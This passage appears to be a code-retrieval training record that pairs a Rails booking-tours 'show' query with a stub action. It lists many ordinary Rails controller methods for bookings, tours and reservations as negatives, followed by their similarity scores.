flash[:alert] = 'Please choose the date range'\n return redirect_to upcoming_bookings_url\n end\n\n build_date_params\n @bookings = Booking.all(\n coworker_id: nil, resource_ids: [],\n options: { from_time: @from_time, to_time: @to_time }\n ).sort_by(&:from_time)\n end", "def index\n # @booking = Booking.where(user_id: current_user.id)\n if current_user.is_admin\n @bookings = Booking.all\n elsif current_user.is_agent\n # tour_owner = Tour.where(id: params[:tour_id]).pluck(:user_id)\n @bookings = Booking.where(tour_id: params[:tour_id])#.where(user_id: tour_owner)\n elsif current_user.is_customer\n @bookings = Booking.where(user_id: current_user.id)\n end\n\n end", "def index\n @sightings = Sighting.all\n render json: @sightings\n end", "def index\n @online_bookings = OnlineBooking.all\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schedule, methods: :bookings }\n end\n end", "def booking\n @coaches = User.coaches\n render \"booking\"\n end", "def index\n sighting = Sighting.all \n render json: SightingSerializer.new(sighting)\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def index\n @bookingfinals = Bookingfinal.all\n end", "def index\n @tour_requests = TourRequest.all\n end", "def index\n render json: reservations\n end", "def index\n @sightings = Sighting.where(date: params[:start_date]..params[:end_date])\n render json: @sightings\n end", "def index\n @fg_bookings = FgBooking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def booking_history\n @bookings = Booking.where(:user_id => current_user.id).paginate(:page => params[:page], :per_page => 10)\n\tend", "def index\n @account = current_user\n if @account.nil?\n store_location\n redirect_to :controller=> 'sessions', :action => 'new'\n else\n \n\n @bookings = @account.out_orders\n @tours = @bookings.map { |booking| booking.price.departure.tour }.uniq { |tour| tour.id }\n puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> #{@account.id} #{@bookings} #{@tours}\"\n end\n end", "def booking_api\n :ride_pilot\n end", "def index\n @room_bookings = RoomBooking.all\n end", "def index\n @booking_statuses = BookingStatus.all\n end", "def show\n @booking = Booking.find(params[:id])\n\n church = ( @booking.church_id? ) ? Church.find_by_id(@booking.church_id) : nil\n booking = {\n 'website' => @booking.deputation.missionary.website || '',\n 'last-modified' => @booking.updated_at.strftime('%Y%m%d'),\n 'status' => @booking.status,\n 'date' => @booking.date_of.strftime('%Y%m%d'),\n 'time' => (@booking.time_of) ? @booking.time_of.strftime('%l:%M %P') : nil,\n 'email' => @booking.deputation.missionary.email || '',\n 'outreach' => church.outreach_cities || '',\n 'church_address' => church.physical_address || church.mailing_address || '',\n 'church_name' => church.church_name || '',\n 'pastor' => church.pastor || '',\n 'fm_deputation_id' => @booking.deputation_id,\n 'poster' => @booking.deputation.missionary.poster || '',\n 'labor' => @booking.deputation.missionary.labor,\n 'church_id' => @booking.church_id,\n 'name' => @booking.deputation.missionary.name,\n 'phone' => @booking.deputation.missionary.phone,\n 'church_phone' => church.phone || '',\n 'book_id' => @booking.id,\n 'church_city' => church.physical_city || church.mailing_city,\n 'meridian' => @booking.meridian,\n }\n\n respond_to do |format|\n format.xml { render :xml => booking }\n format.js { render :json => booking.to_json }\n end \n \n end", "def index\n @bookings = Booking.all\n respond_with(@bookings)\n end", "def index\n @reservations = @bus.reservations\n end", "def index\n @tours = Tour.all\n if params[:search]\n @search = TourSearch.new(params[:search])\n @tours = @search.scope\n @tours = {} if @tours.nil?\n end\n end", "def show\n @booking = Booking.find(params[:id])\n @rooms = @booking.rooms\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def index *_\n @trades = owned_trades_view\n\n render json: @trades\n end", "def index\n \n @booking = Booking.new\n \n if session[:club_id] != nil\n \t@club = Club.find(session[:club_id])\n\tend\n \n if session[:booking_viewingweek] != nil\n # Already a date set to display.\n else\n currentDay = Date.today.strftime(\"%w\")\n if currentDay == 0 \n currentDay = 7\n end\n session[:booking_viewingweek] = Date.today - (currentDay.to_i - 1).day\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bookings }\n end\n\n\n end", "def index\n @bookings = Booking.order(updated_at: :desc).page(params[:page]).per(NUM_PER_PAGE)\n end", "def index\n @booking_clerks = BookingClerk.all\n end", "def index\n @fbookings = Fbooking.all\n end", "def index\n @bookings = Booking.all.map { |b| [b, b.contact, b.persons.first] }\n respond_to do |format|\n format.html\n format.json { render json: @bookings }\n end\n end", "def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end", "def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end", "def index\n @bookings = @user.bookings\n end", "def index\n @bookings = Booking.user(@user.id)\n end", "def index\n @bookings = Booking.all\n end", "def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end", "def index\n if user_signed_in?\n @reservations = current_user.reservations\n elsif owner_signed_in?\n @reservations = []\n # current_owner.restaurants.each {|rest| @reservations += rest.reservations}\n if current_owner.restaurant.blank?\n @reservations = []\n else\n @reservations = current_owner.restaurant.reservations\n end\n end\n @reservations = @reservations.order(\"id desc\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end", "def create\n booking = Booking.create(booking_params)\n render json: booking\n end", "def index\n @reservations = @user.reservations\n @reservations_json = []\n @reservations.each do |r|\n ro = r\n r = r.as_json\n %w{arrived email no_show owner_id}.each {|k| r.delete(k)}\n r[:start_time] = ro.start_time_format\n r[:end_time] = ro.end_time_format\n @reservations_json << r\n end\n\n render json: @reservations_json, status: 200 \n end", "def index\n @tourpubs = Tourpub.all\n end", "def index\n render json: TeachingActivity.all\n end", "def show\n\n @user_id = current_user\n case params[:id]\n when \"approaching\"\n @bookings = Booking.paginate :conditions=>[ \"user_id = #{@user_id} and enddate >= now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"history\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id} and enddate < now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"all\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n else\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n end\n\n if @bookings.nil?\n @bookings = Array.new\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookings }\n end\n end", "def tournaments\n get('sports/en/tournaments.xml')\n end", "def index\n @travel_destinations = TravelDestination.all\n end", "def index\n if user_signed_in?\n @reservations = current_user.reservations\n elsif owner_signed_in?\n @reservations = []\n # current_owner.restaurants.each {|rest| @reservations += rest.reservations}\n if current_owner.restaurant.blank?\n @reservations = []\n else\n @reservations = current_owner.restaurant.reservations\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end", "def index\n @tutor = Tutor.all\n\n render json: @tutor, status: :ok\n end", "def create\n @tour_booking = TourBooking.new(tour_booking_params)\n\n respond_to do |format|\n if @tour_booking.save\n format.html { redirect_to @tour_booking, notice: 'Tour booking was successfully created.' }\n format.json { render :show, status: :created, location: @tour_booking }\n else\n format.html { render :new }\n format.json { render json: @tour_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def taken\n @travels = Travels::Travel.taken.where(performer: current_user)\n\n respond_to do |format|\n format.html { render \"travels/index\" }\n format.json { as_json @travels }\n end\n end", "def index\n if user_signed_in?\n @reservations = current_user.reservations\n else\n redirect_back fallback_location: flights_url\n end\n end", "def index\n @travel_requests = TravelRequest.where user_id: current_user.id\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @travel_requests }\n end\n end", "def index\n @tours = Tour.all\n @category = Category.new\n @place = Place.new\n \n end", "def set_tour_booking\n @tour_booking = TourBooking.find(params[:id])\n end", "def index\n p params[:tour_id]\n if params[:tour_id].nil?\n @points = Point.all\n render json: @points, include: :tour, status: :ok\n else\n @points = Point.where(tour_id: params[:tour_id])\n render json: @points, status: :ok\n end\n end" ]
[ "0.7233231", "0.6457808", "0.6457808", "0.6455971", "0.6416842", "0.6416163", "0.64058053", "0.6380556", "0.6372369", "0.6340215", "0.6327298", "0.6327298", "0.6306727", "0.6294917", "0.6277201", "0.6273054", "0.62478614", "0.622166", "0.6192561", "0.61861825", "0.61783314", "0.61713344", "0.61677504", "0.6155034", "0.614801", "0.614801", "0.614801", "0.6145937", "0.61409885", "0.61159456", "0.6093376", "0.608949", "0.60765404", "0.6061626", "0.60579365", "0.60481346", "0.60479563", "0.6026111", "0.6022512", "0.601604", "0.601604", "0.601604", "0.601604", "0.60110027", "0.5994498", "0.5991873", "0.59916896", "0.59890413", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.59835255", "0.5980986", "0.59807396", "0.59667915", "0.5957273", "0.59534097", "0.5930708", "0.59249693", "0.5920111", "0.59200394", "0.59105027", "0.5906982", "0.59031355", "0.59012514", "0.58762056", "0.5873877", "0.58656627", "0.5861549", "0.5861549", "0.58598185", "0.5854621", "0.5850229", "0.58470523", "0.5835133", "0.5808794", "0.58082676", "0.5807056", "0.5806622", "0.5804284", "0.5796585", "0.57940084", "0.5793797", "0.5790737", "0.57881004", "0.57865614", "0.5786327", "0.57790476", "0.57752055", "0.5771389", "0.5769355" ]
0.76432353
0
GET /booking_tours/1 GET /booking_tours/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @booking_tours = BookingTour.all\n end", "def index\n @tour_bookings = TourBooking.all\n end", "def show\n render json: { booking: @booking }, status: 200\n end", "def show\n @booking = Booking.find(params[:id])\n render json: @booking\nend", "def show\n render json: @booking\n end", "def show\n render json: @booking\n end", "def show\n\t\t@booking = Booking.find(params[:id])\n\t\trender json: @booking, status: 200\n\tend", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def index\n @service_bookings = ServiceBooking.all\n\n render json: @service_bookings\n end", "def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end", "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def show\n render json: @service_booking\n end", "def index\n @booking_infos = BookingInfo.all\n end", "def index\n @ninety_ten_bookings = NinetyTenBooking.all\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end", "def index\n @booking_details = BookingDetail.all\n end", "def all_booking_of_client\n\t\t@bookings = Booking.where(client_id: params[:client_id])\n\t\trender json: @bookings, status: 200\n\tend", "def booking_api\n :ride_pilot\n end", "def show\n @cancelbooking = Cancelbooking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cancelbooking }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def show\n @booking = Booking.find_by(id: params[:id])\n if @booking\n render json: {success: true, status: 200, object: @booking}\n else\n render json: {success: false, status: 404, message: \"Not Found\"}\n end\n end", "def show\n @booking = Booking.find(params[:id])\n\n church = ( @booking.church_id? ) ? Church.find_by_id(@booking.church_id) : nil\n booking = {\n 'website' => @booking.deputation.missionary.website || '',\n 'last-modified' => @booking.updated_at.strftime('%Y%m%d'),\n 'status' => @booking.status,\n 'date' => @booking.date_of.strftime('%Y%m%d'),\n 'time' => (@booking.time_of) ? @booking.time_of.strftime('%l:%M %P') : nil,\n 'email' => @booking.deputation.missionary.email || '',\n 'outreach' => church.outreach_cities || '',\n 'church_address' => church.physical_address || church.mailing_address || '',\n 'church_name' => church.church_name || '',\n 'pastor' => church.pastor || '',\n 'fm_deputation_id' => @booking.deputation_id,\n 'poster' => @booking.deputation.missionary.poster || '',\n 'labor' => @booking.deputation.missionary.labor,\n 'church_id' => @booking.church_id,\n 'name' => @booking.deputation.missionary.name,\n 'phone' => @booking.deputation.missionary.phone,\n 'church_phone' => church.phone || '',\n 'book_id' => @booking.id,\n 'church_city' => church.physical_city || church.mailing_city,\n 'meridian' => @booking.meridian,\n }\n\n respond_to do |format|\n format.xml { render :xml => booking }\n format.js { render :json => booking.to_json }\n end \n \n end", "def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end", "def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end", "def index\n render json: reservations\n end", "def index\n @seat_bookings = SeatBooking.all\n end", "def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end", "def show\n @booking = Booking.find(params[:id])\n end", "def show\n @booking = Booking.find(params[:id])\n @rooms = @booking.rooms\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schedule, methods: :bookings }\n end\n end", "def on_date\n @bookings = []\n @bookings = Booking.on_date(params[:booking_date]) if params[:booking_date]\n \n respond_to do |format|\n format.html {render \"index\"}\n format.json {render json: @bookings}\n end\n \n end", "def create\n booking = Booking.create(booking_params)\n render json: booking\n end", "def booking\n page = @site.pages.where(order: 2).first\n unless page\n head 404\n else\n render json: { content: Content.where(page_id: page.id, order: 0).first }\n end\n end", "def index \n session[:link_to_bookings] = params[:classroom][:links].last[:uri] if (params[:classroom]) \n @link = session[:link_to_bookings]\n @params= \"date=#{params[:date]}&limit=#{params[:limit]}&status=#{params[:status]}\"\n @bookings = ClientApi.bookings_list @link, @params\n end", "def index\n @bookings = Booking.all.map { |b| [b, b.contact, b.persons.first] }\n respond_to do |format|\n format.html\n format.json { render json: @bookings }\n end\n end", "def set_tour_booking\n @tour_booking = TourBooking.find(params[:id])\n end", "def index\n @bookings = current_user.coach_bookings\n @future_bookings = @bookings.booked.where(\"start_time > ?\", Time.now).order(:start_time)\n @past_bookings = @bookings.booked.where(\"end_time < ?\", Time.now).order(start_time: :DESC)\n @booking = Booking.new\n @review = Review.new\n end", "def booking\n @coaches = User.coaches\n render \"booking\"\n end", "def index\n @reservations = V2::Reservation.order(id: :desc).page(params[:page])\n end", "def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end", "def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end", "def index\n @tour_dates = TourDate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tour_dates }\n end\n end", "def index\n @outgoings = Outgoing.where(:year_at => Date.current.year).order(:created_at)\n @user = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @outgoings }\n end\n end", "def show\n begin\n @response = Booking.get_booking(params[:id])\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n end", "def index\n @reservations = @bus.reservations\n end", "def index\n # @booking = Booking.where(user_id: current_user.id)\n if current_user.is_admin\n @bookings = Booking.all\n elsif current_user.is_agent\n # tour_owner = Tour.where(id: params[:tour_id]).pluck(:user_id)\n @bookings = Booking.where(tour_id: params[:tour_id])#.where(user_id: tour_owner)\n elsif current_user.is_customer\n @bookings = Booking.where(user_id: current_user.id)\n end\n\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def show\n @booking=Booking.find(params[:id])\n end", "def index\n @tourneys = Tourney.all\n end", "def index\n @booking_statuses = BookingStatus.all\n end", "def booking_same_user_same_tour\n return Booking.where(user_id: user_id).find_by(tour_id: tour_id)\n end", "def set_api_v1_booking\n @api_v1_booking = Booking.find(params[:id])\n end", "def index\n @online_bookings = OnlineBooking.all\n end", "def index\n @bookings = Booking.user(@user.id)\n end", "def create\n @tour_booking = TourBooking.new(tour_booking_params)\n\n respond_to do |format|\n if @tour_booking.save\n format.html { redirect_to @tour_booking, notice: 'Tour booking was successfully created.' }\n format.json { render :show, status: :created, location: @tour_booking }\n else\n format.html { render :new }\n format.json { render json: @tour_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @fg_bookings = FgBooking.all\n end", "def index\n #@tours = Tour.all\n end", "def index\n @bookings = Booking.order(updated_at: :desc).page(params[:page]).per(NUM_PER_PAGE)\n end", "def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end", "def show\n @tutor_availability = TutorAvailability.find(params[:id])\n\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutor_availability }\n end\n end", "def show\n\n @user_id = current_user\n case params[:id]\n when \"approaching\"\n @bookings = Booking.paginate :conditions=>[ \"user_id = #{@user_id} and enddate >= now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"history\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id} and enddate < now()::date\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n when \"all\"\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n else\n @bookings = Booking.paginate :conditions=>[\"user_id = #{@user_id}\"],:page=>params[:page],:order=>'startdate desc, starttime desc', :per_page => 10\n end\n\n if @bookings.nil?\n @bookings = Array.new\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookings }\n end\n end", "def show\n travels = Travel.find(params[:id])\n render json: travels, status: :ok\n end", "def show\n @booking = Booking.find(params[:id])\n respond_with(@booking)\n end", "def index\n \n @booking = Booking.new\n \n if session[:club_id] != nil\n \t@club = Club.find(session[:club_id])\n\tend\n \n if session[:booking_viewingweek] != nil\n # Already a date set to display.\n else\n currentDay = Date.today.strftime(\"%w\")\n if currentDay == 0 \n currentDay = 7\n end\n session[:booking_viewingweek] = Date.today - (currentDay.to_i - 1).day\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bookings }\n end\n\n\n end", "def index\n @room_bookings = RoomBooking.all\n end", "def show\n @booking = Booking.find(params[:id])\n \n respond_to do |format|\n format.html \n format.xml { render :xml => @booking }\n end\n end", "def index\n @sightings = Sighting.all\n render json: @sightings\n end", "def new\n @booking = Booking.new\n @room_types = RoomType.all\n\n respond_to do |format|\n format.html { render action: 'new' } # new.html.erb\n format.json { render json: @booking }\n end\n end", "def index\n @bookings = Booking.all\n respond_with(@bookings)\n end", "def find_booking\n @booking = Booking.find(params[:id])\n end", "def show\n respond_to do |format|\n \tformat.html # show.html.erb\n \tformat.json { render json: @taxi_booking }\n end\n end", "def index\n @bookings = current_user.bookings.all.includes(:transport).order(:departure_date)\n end", "def index\n @tours = Tour.all\n end", "def index\n @tours = Tour.all\n end", "def index\n sighting = Sighting.all \n render json: SightingSerializer.new(sighting)\n end", "def index\n return render json: {message: 'Public users cannot list tours'}, status: 403 if current_user.public?\n @tours = TourServices::TourFilterApi.new(user: current_user,\n status: params[:status],\n type: params[:type],\n vehicle_type: params[:vehicle_type],\n latitude: params[:latitude],\n longitude: params[:longitude],\n distance: params[:distance],\n page: params[:page],\n per: per).tours\n render json: @tours, status: 200, each_serializer: ::V1::TourSerializer, scope: {user: current_user}\n end", "def index\n @booking_clerks = BookingClerk.all\n end", "def index\n @bookingfinals = Bookingfinal.all\n end", "def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end", "def index\n @fbookings = Fbooking.all\n end", "def index\n p params[:tour_id]\n if params[:tour_id].nil?\n @points = Point.all\n render json: @points, include: :tour, status: :ok\n else\n @points = Point.where(tour_id: params[:tour_id])\n render json: @points, status: :ok\n end\n end", "def show\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @booking }\n end\n end", "def index\n @bookings = @user.bookings\n end", "def index\n @bookings = Booking.all\n end" ]
[ "0.7388441", "0.70917696", "0.6859369", "0.68357086", "0.6799559", "0.6799559", "0.6739871", "0.65724206", "0.65724206", "0.65724206", "0.65724206", "0.657155", "0.6530873", "0.65236825", "0.648147", "0.64135426", "0.63697135", "0.636405", "0.6340944", "0.63092804", "0.6306977", "0.62895834", "0.6279752", "0.6279752", "0.6279752", "0.6273603", "0.6231746", "0.6231099", "0.6231099", "0.62127995", "0.62005913", "0.620004", "0.61981535", "0.61955935", "0.6191421", "0.6180231", "0.6178899", "0.61492735", "0.6138821", "0.61320835", "0.6124197", "0.61020535", "0.60586154", "0.60474813", "0.60422814", "0.60422814", "0.6039571", "0.6034519", "0.60328", "0.6014545", "0.6010951", "0.600877", "0.600877", "0.600877", "0.600877", "0.600877", "0.600877", "0.600877", "0.600877", "0.600877", "0.600877", "0.600877", "0.600877", "0.600877", "0.60043204", "0.5996251", "0.59932756", "0.5988143", "0.59829587", "0.5980968", "0.5979285", "0.5975007", "0.5966866", "0.5962398", "0.59586036", "0.59544075", "0.5952895", "0.5946417", "0.59396374", "0.59395194", "0.59370005", "0.59365237", "0.59360117", "0.59317625", "0.593094", "0.59271485", "0.5923695", "0.5922994", "0.5919044", "0.5914984", "0.5914984", "0.5909831", "0.5904079", "0.58943003", "0.58925945", "0.58888847", "0.5876034", "0.5869154", "0.58662754", "0.5859228", "0.5852373" ]
0.0
-1
POST /booking_tours POST /booking_tours.json
def create @booking_tour = BookingTour.new(booking_tour_params) # need change after @tour = Tour.find(@booking_tour.tour_id) @user = User.find(@booking_tour.user_id) @booking_tour.total_cost = params[:booking_tour][:number_of_people].to_i*@tour.price.to_i respond_to do |format| if @booking_tour.save format.html { redirect_to @booking_tour, notice: 'Booking tour was successfully created.' } format.json { render :show, status: :created, location: @booking_tour } else format.html { render :new } format.json { render json: @booking_tour.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @tour_booking = TourBooking.new(tour_booking_params)\n\n respond_to do |format|\n if @tour_booking.save\n format.html { redirect_to @tour_booking, notice: 'Tour booking was successfully created.' }\n format.json { render :show, status: :created, location: @tour_booking }\n else\n format.html { render :new }\n format.json { render json: @tour_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @booking_tours = BookingTour.all\n end", "def create\n booking = Booking.create(booking_params)\n render json: booking\n end", "def create\n @current_user = User.find(session[:user_id])\n @booking = Booking.new(\n user_id: @current_user.id,\n department_id: params[:data]['department_id'],\n timeStamp: params[:data]['timeStamp'],\n doctorsBoard: params[:data]['doctorsBoard'],\n description: params[:data]['description']\n )\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @user = User.find(params[:user_id])\n @flight = Flight.find(params[:flight_id])\n @booking = @user.bookings.new(booking_params)\n respond_to do |format|\n if @booking.save\n format.html { redirect_to booking_path(current_user,@flight,@booking), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = @hairdresser.bookings.create(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to hairdresser_booking_path(@hairdresser,@booking), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\tbooking = Booking.new(booking_params)\n\n\t if booking.save\n\t \tPeekBooker.use_a_boat(booking.size, booking.timeslot_id)\n\t \tPeekBooker.delete_overlap_assignments(booking.timeslot_id)\n\t \tPeekBooker.upd_availability(booking.timeslot_id)\n\t \t\n\t \trender json: booking, status: 201\n\t end\n\tend", "def create\n @booking = Booking.new(params[:booking])\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render json: @booking, status: :created, location: @booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(params[:booking])\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render json: @booking, status: :created, location: @booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = @salon.bookings.new(booking_params)\n selected_days = params[:select_days]\n selected_time = params[:select_time]\n timeslot = Time.parse(\"#{selected_days} #{selected_time}\")\n @booking.bookings_services.build(service_id: params[:booking][:service_ids][0], timeslot: timeslot)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to [@salon, @booking], notice: \"Booking was successfully created.\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n @booking.save\n redirect_to action: \"index\"\n end", "def create\n @ninety_ten_booking = NinetyTenBooking.new(ninety_ten_booking_params)\n\n respond_to do |format|\n if @ninety_ten_booking.save\n format.html { redirect_to @ninety_ten_booking, notice: 'Ninety ten booking was successfully created.' }\n format.json { render :show, status: :created, location: @ninety_ten_booking }\n else\n format.html { render :new }\n format.json { render json: @ninety_ten_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n if tour_params[:endDate] < tour_params[:startDate]\n redirect_to new_tour_url, notice: 'Tour end date cannot be before start date.'\n elsif tour_params[:startDate] < tour_params[:deadline]\n redirect_to new_tour_url, notice: 'Tour booking deadline has to be before start date.'\n elsif tour_params[:deadline] < Date.today.to_s\n redirect_to new_tour_url, notice: 'Tour booking deadline has to be in the future.'\n else\n\n avail_seats = tour_params[:totalSeats]\n\n @tour = Tour.new(tour_params.merge(:username => session[:username],:user_id => session[:user_id], :availableSeats => avail_seats, :waitlistedSeats => 0, :tourStatus => \"In Future\"))\n\n respond_to do |format|\n if @tour.save\n #@tour_temp = Tour.find(params[:id])\n session[:tourname][email protected]\n session[:tour_id][email protected]\n\n format.html { redirect_to new_itinenary_url, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end", "def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @tour_bookings = TourBooking.all\n end", "def booking_tour_params\n params.require(:booking_tour).permit(:user_id, :tour_id, :number_of_people, :vehicle)\n end", "def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: \"Booking was successfully created.\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:no_of_seats, :user_id, :tour_id, :option)\n end", "def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er nu oprettet.' }\n format.json { render :show, status: :created, location: @booking 